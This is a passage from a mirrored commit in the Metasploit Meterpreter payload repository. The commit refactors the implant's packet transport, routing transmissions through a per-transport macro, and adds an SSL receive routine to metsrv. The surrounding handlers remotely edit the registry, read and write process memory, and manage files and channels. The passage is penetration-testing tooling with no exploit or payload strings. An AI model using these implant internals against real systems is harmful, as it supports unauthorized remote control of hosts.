1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-14 17:37:27 +01:00

Moved transport stuff from core to metsrv

Lots of transported related things were in the core library which didn't make any sense given that the only thing that needed it was metsrv. This moves the functionality out into metsrv, reformats stuff and gets rid of some dead code.

TODO: Make this work with POSIX.
This commit is contained in:
OJ 2015-04-23 19:13:38 +10:00
parent 969b8fb4af
commit fe566d5f07
15 changed files with 1089 additions and 1126 deletions

View File

@ -59,7 +59,7 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
// Transmit the response
dprintf( "[CHANNEL] Sending response for %s", channelType );
res = packet_transmit(remote, response, NULL);
res = PACKET_TRANSMIT(remote, response, NULL);
dprintf( "[CHANNEL] Done" );
@ -171,7 +171,7 @@ DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written);
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
res = packet_transmit(remote, response, NULL);
res = PACKET_TRANSMIT(remote, response, NULL);
}
return res;
@ -284,7 +284,7 @@ DWORD remote_request_core_channel_read(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead);
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
res = packet_transmit(remote, response, NULL);
res = PACKET_TRANSMIT(remote, response, NULL);
}
return res;
@ -333,7 +333,7 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
{
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
res = packet_transmit(remote, response, NULL);
res = PACKET_TRANSMIT(remote, response, NULL);
}
return res;
@ -611,7 +611,7 @@ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
{
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
}
return ERROR_SUCCESS;

View File

@ -299,7 +299,7 @@ DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk,
break;
// Transmit the packet
res = packet_transmit(remote, request, NULL);
res = PACKET_TRANSMIT(remote, request, NULL);
} while (0);
@ -465,8 +465,7 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
* Tries to open a channel with the remote endpoint, optionally calling the
* supplied completion routine upon response.
*/
DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
ChannelCompletionRoutine *completionRoutine)
DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine)
{
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
ChannelCompletionRoutine *dupe = NULL;
@ -478,8 +477,7 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
do
{
// Allocate the request
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
NULL)))
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
@ -489,10 +487,10 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
packet_add_tlvs(request, addend, addendLength);
// If no method TLV as added, add the default one.
if (packet_get_tlv(request, TLV_TYPE_METHOD,
&methodTlv) != ERROR_SUCCESS)
packet_add_tlv_string(request, TLV_TYPE_METHOD,
method);
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
{
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
}
// Initialize the packet completion routine
if (completionRoutine)
@ -502,11 +500,11 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
requestCompletion.context = dupe;
requestCompletion.routine = _channel_packet_completion_routine;
realRequestCompletion = &requestCompletion;
realRequestCompletion = &requestCompletion;
}
// Transmit the packet with the supplied completion routine, if any.
res = packet_transmit(remote, request, realRequestCompletion);
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
} while (0);
@ -517,8 +515,8 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
* Read data from the remote end of the channel.
*/
DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, ULONG length,
ChannelCompletionRoutine *completionRoutine)
DWORD addendLength, ULONG length,
ChannelCompletionRoutine *completionRoutine)
{
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
ChannelCompletionRoutine *dupe = NULL;
@ -530,8 +528,7 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
do
{
// Allocate an empty request
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
NULL)))
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
@ -541,16 +538,14 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
packet_add_tlvs(request, addend, addendLength);
// If no method TLV as added, add the default one.
if (packet_get_tlv(request, TLV_TYPE_METHOD,
&methodTlv) != ERROR_SUCCESS)
packet_add_tlv_string(request, TLV_TYPE_METHOD,
method);
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
{
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
}
// Add the channel identifier and the length to read
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
channel_get_id(channel));
packet_add_tlv_uint(request, TLV_TYPE_LENGTH,
length);
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
packet_add_tlv_uint(request, TLV_TYPE_LENGTH, length);
// Initialize the packet completion routine
if (completionRoutine)
@ -560,11 +555,11 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
requestCompletion.context = dupe;
requestCompletion.routine = _channel_packet_completion_routine;
realRequestCompletion = &requestCompletion;
realRequestCompletion = &requestCompletion;
}
// Transmit the packet with the supplied completion routine, if any.
res = packet_transmit(remote, request, realRequestCompletion);
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
} while (0);
@ -575,8 +570,8 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
* Write to the remote end of the channel
*/
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, PUCHAR buffer, ULONG length,
ChannelCompletionRoutine *completionRoutine)
DWORD addendLength, PUCHAR buffer, ULONG length,
ChannelCompletionRoutine *completionRoutine)
{
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
ChannelCompletionRoutine *dupe = NULL;
@ -599,16 +594,22 @@ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
// If no method TLV as added, add the default one.
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
{
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
}
// Add the channel identifier and the length to write
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
// if the channel data is ment to be compressed, compress it!
if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
if (channel_is_flag(channel, CHANNEL_FLAG_COMPRESS))
{
packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA | TLV_META_TYPE_COMPRESSED, buffer, length);
}
else
{
packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);
}
packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));
@ -620,11 +621,11 @@ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
requestCompletion.context = dupe;
requestCompletion.routine = _channel_packet_completion_routine;
realRequestCompletion = &requestCompletion;
realRequestCompletion = &requestCompletion;
}
// Transmit the packet with the supplied completion routine, if any.
res = packet_transmit(remote, request, realRequestCompletion);
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
} while (0);
@ -635,7 +636,7 @@ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
* Close the channel provided.
*/
DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, ChannelCompletionRoutine *completionRoutine)
DWORD addendLength, ChannelCompletionRoutine *completionRoutine)
{
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
ChannelCompletionRoutine *dupe = NULL;
@ -646,8 +647,7 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
do
{
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
NULL)))
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
@ -657,14 +657,13 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
packet_add_tlvs(request, addend, addendLength);
// If no method TLV as added, add the default one.
if (packet_get_tlv(request, TLV_TYPE_METHOD,
&methodTlv) != ERROR_SUCCESS)
packet_add_tlv_string(request, TLV_TYPE_METHOD,
method);
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
{
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
}
// Add the channel identifier
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
channel_get_id(channel));
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
// Initialize the packet completion routine
if (completionRoutine)
@ -674,13 +673,13 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
requestCompletion.context = dupe;
requestCompletion.routine = _channel_packet_completion_routine;
realRequestCompletion = &requestCompletion;
realRequestCompletion = &requestCompletion;
}
dprintf( "[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine );
dprintf("[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine);
// Transmit the packet with the supplied completion routine, if any.
res = packet_transmit(remote, request, realRequestCompletion);
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
} while (0);
@ -692,8 +691,8 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
* forwarded in real time rather than being polled.
*/
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
DWORD addendLength, BOOL enable,
ChannelCompletionRoutine *completionRoutine)
DWORD addendLength, BOOL enable,
ChannelCompletionRoutine *completionRoutine)
{
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
ChannelCompletionRoutine *dupe = NULL;
@ -704,8 +703,7 @@ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
do
{
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
NULL)))
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
@ -715,14 +713,13 @@ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
packet_add_tlvs(request, addend, addendLength);
// If no method TLV as added, add the default one.
if (packet_get_tlv(request, TLV_TYPE_METHOD,
&methodTlv) != ERROR_SUCCESS)
packet_add_tlv_string(request, TLV_TYPE_METHOD,
method);
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
{
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
}
// Add the channel identifier
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
channel_get_id(channel));
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
// Add the enable/disable boolean
packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable);
@ -735,11 +732,11 @@ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
requestCompletion.context = dupe;
requestCompletion.routine = _channel_packet_completion_routine;
realRequestCompletion = &requestCompletion;
realRequestCompletion = &requestCompletion;
}
// Transmit the packet with the supplied completion routine, if any.
res = packet_transmit(remote, request, realRequestCompletion);
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
} while (0);
@ -757,12 +754,12 @@ Channel *channel_find_by_id(DWORD id)
{
Channel *current;
for (current = channelList;
current;
current = current->next)
for (current = channelList; current; current = current->next)
{
if (current->identifier == id)
{
break;
}
}
return current;
@ -774,7 +771,9 @@ Channel *channel_find_by_id(DWORD id)
VOID channel_add_list_entry(Channel *channel)
{
if (channelList)
{
channelList->prev = channel;
}
channel->next = channelList;
channel->prev = NULL;
@ -787,12 +786,18 @@ VOID channel_add_list_entry(Channel *channel)
VOID channel_remove_list_entry(Channel *channel)
{
if (channel->prev)
{
channel->prev->next = channel->next;
}
else
{
channelList = channel->next;
}
if (channel->next)
{
channel->next->prev = channel->prev;
}
}
/**************
@ -828,8 +833,8 @@ DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer,
* Writes arbitrary data into a buffer, optionally allocating more memory
* as necessary.
*/
VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten)
VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten)
{
// Is there enough storage space?
if (buffer->currentSize + chunkLength > buffer->totalSize)
@ -838,20 +843,23 @@ VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
ULONG newSize = 0;
// Calculate the new buffer size
newSize = buffer->currentSize + chunkLength;
newSize = buffer->currentSize + chunkLength;
newSize += CHANNEL_CHUNK_SIZE + (newSize & (CHANNEL_CHUNK_SIZE - 1));
// Allocate the storage for the new data
if (buffer->totalSize)
{
newBuffer = (PUCHAR)realloc(buffer->buffer, newSize);
}
else
{
newBuffer = (PUCHAR)malloc(newSize);
}
// Allocation failure?
if (!newBuffer)
{
if (buffer->buffer)
free(buffer->buffer);
SAFE_FREE(buffer->buffer);
memset(buffer, 0, sizeof(ChannelBuffer));
@ -859,19 +867,20 @@ VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
}
// Populate the buffer with the updated information
buffer->buffer = newBuffer;
buffer->buffer = newBuffer;
buffer->totalSize = newSize;
}
// Copy the chunk data into the buffer
memcpy(buffer->buffer + buffer->currentSize,
chunk, chunkLength);
memcpy(buffer->buffer + buffer->currentSize, chunk, chunkLength);
// Update the current size
buffer->currentSize += chunkLength;
if (bytesWritten)
{
*bytesWritten = chunkLength;
}
}
/*
@ -879,26 +888,32 @@ VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
* thus removing the data from the buffer.
*/
VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk,
ULONG chunkLength, PULONG bytesRead)
ULONG chunkLength, PULONG bytesRead)
{
ULONG actualSize = chunkLength;
// Ensure that data is not read past the end of the buffer
if (actualSize > buffer->currentSize)
{
actualSize = buffer->currentSize;
}
// Copy the front portion of the buffer into the chunk
memcpy(chunk, buffer->buffer, actualSize);
// Move the buffer forward if there is any left
if (actualSize != buffer->currentSize)
{
memcpy(buffer->buffer, buffer->buffer + actualSize,
buffer->currentSize - actualSize);
buffer->currentSize - actualSize);
}
// Decrement the current used size of the buffer
buffer->currentSize -= actualSize;
// Pass back the number of bytes actually read
if (bytesRead)
{
*bytesRead = actualSize;
}
}

File diff suppressed because it is too large Load Diff

View File

@ -261,13 +261,8 @@ LINKAGE DWORD packet_get_result(Packet *packet);
/*
* Packet transmission
*/
LINKAGE DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
LINKAGE DWORD packet_receive(Remote *remote, Packet **packet);
LINKAGE DWORD packet_receive_via_ssl(Remote *remote, Packet **packet);
LINKAGE DWORD packet_receive_via_http(Remote *remote, Packet **packet);
LINKAGE DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
LINKAGE DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
#define PACKET_TRANSMIT(remote, packet, completion) (remote->transport->packet_transmit(remote, packet, completion))
/*!
* @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present.
@ -278,7 +273,7 @@ LINKAGE DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketReq
#define packet_transmit_response(result, remote, response) \
if (response) { \
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); \
packet_transmit(remote, response, NULL); \
PACKET_TRANSMIT(remote, response, NULL); \
}
/*
@ -291,7 +286,6 @@ LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
/*
* Core API
*/
LINKAGE DWORD send_core_console_write( Remote *remote, LPCSTR fmt, ... );
LINKAGE HANDLE core_update_thread_token( Remote *remote, HANDLE token );
LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );

View File

@ -33,7 +33,6 @@ typedef BOOL(*PTransportDeinit)(Remote* remote);
typedef void(*PTransportDestroy)(Remote* remote);
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
typedef DWORD(*PPacketTransmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
typedef DWORD(*PPacketReceive)(Remote* remote, Packet** packet);
typedef Transport*(*PTransCreateTcp)(STRTYPE url, TimeoutSettings* timeouts);
typedef Transport*(*PTransCreateHttp)(BOOL ssl, STRTYPE url, STRTYPE ua, STRTYPE proxy,
@ -102,7 +101,6 @@ typedef struct _Transport
PTransportDestroy transport_destroy; ///! Destroy the transport.
PServerDispatch server_dispatch; ///! Transport dispatch function.
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
PPacketReceive packet_receive; ///! Receives a packet over the transport.
STRTYPE url; ///! Full URL describing the comms in use.
VOID* ctx; ///! Pointer to the type-specific transport context;
TimeoutSettings timeouts; ///! Container for the timeout settings.

View File

@ -39,7 +39,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -61,7 +61,7 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -84,7 +84,7 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -106,7 +106,7 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -128,5 +128,5 @@ DWORD request_fs_delete_dir(Remote * remote, Packet * packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}

View File

@ -211,7 +211,7 @@ DWORD request_fs_separator(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_SUCCESS);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
@ -251,7 +251,7 @@ DWORD request_fs_stat(Remote *remote, Packet *packet)
out:
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -274,7 +274,7 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -306,7 +306,7 @@ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
free(expanded);
out:
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
@ -346,7 +346,7 @@ DWORD request_fs_md5(Remote *remote, Packet *packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
@ -384,7 +384,7 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -409,6 +409,6 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet)
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
return packet_transmit(remote, response, NULL);
return PACKET_TRANSMIT(remote, response, NULL);
}

View File

@ -864,7 +864,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
if (pResponse)
{
packet_add_tlv_uint(pResponse, TLV_TYPE_RESULT, dwResult);
dwResult = packet_transmit(pRemote, pResponse, NULL);
dwResult = PACKET_TRANSMIT(pRemote, pResponse, NULL);
}
wds_shutdown(&WDSInterface);

View File

@ -238,7 +238,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
dwResult = packet_transmit(serverCtx->remote, request, NULL);
dwResult = PACKET_TRANSMIT(serverCtx->remote, request, NULL);
} while (0);

View File

@ -585,7 +585,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg );
}
dwResult = packet_transmit( pRemote, pResponse, NULL );
dwResult = PACKET_TRANSMIT( pRemote, pResponse, NULL );
}
if( rInput.pBufferIN )
@ -656,7 +656,7 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket )
if( pData )
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength );
dwResult = packet_transmit( pRemote, pResponse, NULL );
dwResult = PACKET_TRANSMIT( pRemote, pResponse, NULL );
}
if( pData )
@ -713,7 +713,7 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket )
{
packet_add_tlv_uint( pResponse, TLV_TYPE_RESULT, dwResult );
dwResult = packet_transmit( pRemote, pResponse, NULL );
dwResult = PACKET_TRANSMIT( pRemote, pResponse, NULL );
}
dprintf("[RAILGUN] request_railgun_memwrite: Finished.");

View File

@ -77,7 +77,7 @@ DWORD request_registry_load_key(Remote *remote, Packet *packet)
result = RegLoadKey(rootKey,baseKey,hiveFile);
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -98,7 +98,7 @@ DWORD request_registry_unload_key(Remote *remote, Packet *packet)
result = RegUnLoadKey(rootKey,baseKey);
}
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -150,7 +150,7 @@ DWORD request_registry_open_key(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -190,7 +190,7 @@ DWORD request_registry_open_remote_key(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -237,7 +237,7 @@ DWORD request_registry_create_key(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -305,7 +305,7 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey)
// Set the result and transmit the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -382,7 +382,7 @@ DWORD request_registry_delete_key(Remote *remote, Packet *packet)
// Set the result and send the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -409,7 +409,7 @@ DWORD request_registry_close_key(Remote *remote, Packet *packet)
// Set the result and send the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -446,7 +446,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey)
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
// Transmit the response
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -541,7 +541,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey)
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
// Transmit the response
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
}
/*
@ -649,7 +649,7 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey)
// Set the result and transmit the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
}
@ -717,7 +717,7 @@ DWORD request_registry_delete_value(Remote *remote, Packet *packet)
// Set the result and send the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}
@ -756,7 +756,7 @@ DWORD request_registry_query_class(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
// Transmit the response
packet_transmit(remote, response, NULL);
PACKET_TRANSMIT(remote, response, NULL);
return ERROR_SUCCESS;
}

View File

@ -98,7 +98,7 @@ DWORD request_core_enumextcmd(Remote* remote, Packet* packet)
packet_add_tlv_uint(pResponse, TLV_TYPE_RESULT, ERROR_SUCCESS);
packet_transmit(remote, pResponse, NULL);
PACKET_TRANSMIT(remote, pResponse, NULL);
}
return ERROR_SUCCESS;

View File

@ -193,7 +193,7 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
packet_transmit(pRemote, response, NULL);
PACKET_TRANSMIT(pRemote, response, NULL);
}
return res;

View File

@ -576,6 +576,169 @@ static BOOL server_negotiate_ssl(Remote *remote)
return success;
}
/*!
* @brief Receive a new packet on the given remote endpoint.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
*/
static DWORD packet_receive_via_ssl(Remote *remote, Packet **packet)
{
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
CryptoContext *crypto = NULL;
Packet *localPacket = NULL;
TlvHeader header;
LONG bytesRead;
BOOL inHeader = TRUE;
PUCHAR payload = NULL;
ULONG payloadLength;
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
lock_acquire(remote->lock);
do
{
// Read the packet length
while (inHeader)
{
if ((bytesRead = SSL_read(ctx->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0)
{
if (!bytesRead)
{
SetLastError(ERROR_NOT_FOUND);
}
if (bytesRead < 0)
{
dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(ctx->ssl, bytesRead), WSAGetLastError());
SetLastError(ERROR_NOT_FOUND);
}
break;
}
headerBytes += bytesRead;
if (headerBytes != sizeof(TlvHeader))
{
continue;
}
inHeader = FALSE;
}
if (headerBytes != sizeof(TlvHeader))
{
break;
}
// Initialize the header
header.length = header.length;
header.type = header.type;
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
payloadBytesLeft = payloadLength;
// Allocate the payload
if (!(payload = (PUCHAR)malloc(payloadLength)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
// Read the payload
while (payloadBytesLeft > 0)
{
if ((bytesRead = SSL_read(ctx->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
{
if (GetLastError() == WSAEWOULDBLOCK)
{
continue;
}
if (!bytesRead)
{
SetLastError(ERROR_NOT_FOUND);
}
if (bytesRead < 0)
{
dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(ctx->ssl, bytesRead));
SetLastError(ERROR_NOT_FOUND);
}
break;
}
payloadBytesLeft -= bytesRead;
}
// Didn't finish?
if (payloadBytesLeft)
{
break;
}
// Allocate a packet structure
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
memset(localPacket, 0, sizeof(Packet));
// If the connection has an established cipher and this packet is not
// plaintext, decrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = payloadLength;
PUCHAR origPayload = payload;
// Decrypt
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// We no longer need the encrypted payload
free(origPayload);
}
localPacket->header.length = header.length;
localPacket->header.type = header.type;
localPacket->payload = payload;
localPacket->payloadLength = payloadLength;
*packet = localPacket;
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
